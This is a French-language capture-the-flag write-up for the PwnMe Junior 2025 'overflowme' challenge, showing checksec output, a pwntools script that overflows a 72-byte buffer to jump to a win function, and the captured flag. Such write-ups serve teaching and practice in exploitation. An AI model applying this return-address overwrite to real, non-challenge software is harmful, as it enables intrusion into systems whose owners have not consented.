PwnMe Junior 2025 - overflowme WriteUp
Description du challenge
Le challenge overflowme est un exercice de buffer overflow sur un binaire 64 bits. Le programme attend une entrée utilisateur et contient une vulnérabilité qui permet d’écraser l’adresse de retour.
Analyse du binaire
Vérification des protections
$ checksec overflowme
[*] '/home/synapse/pwnme-junior-2025/pwn/overflowme/overflowme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Exploitation
Plan d’attaque
- Envoyer “5” comme première entrée
- Overflow du buffer avec un offset de 72 bytes
- Écraser l’adresse de retour avec l’adresse de la fonction win (0x401417)
Script d’exploitation
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
def main():
p = remote("127.0.0.1", 1337)
p.sendline(b'5')
offset = 72
payload = b'A' * offset
payload += p64(0x401417)
# Envoi du payload
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
main()
Flag
PWNME{JUNIOR_OVERFLOW_MASTER}
Conclusion
Ce challenge était un exercice classique de buffer overflow. Les points clés étaient :
- Identification de l’offset correct (72 bytes)
- Utilisation de l’adresse correcte de la fonction win (0x401417)
- Configuration correcte de la connexion remote sur le port 1337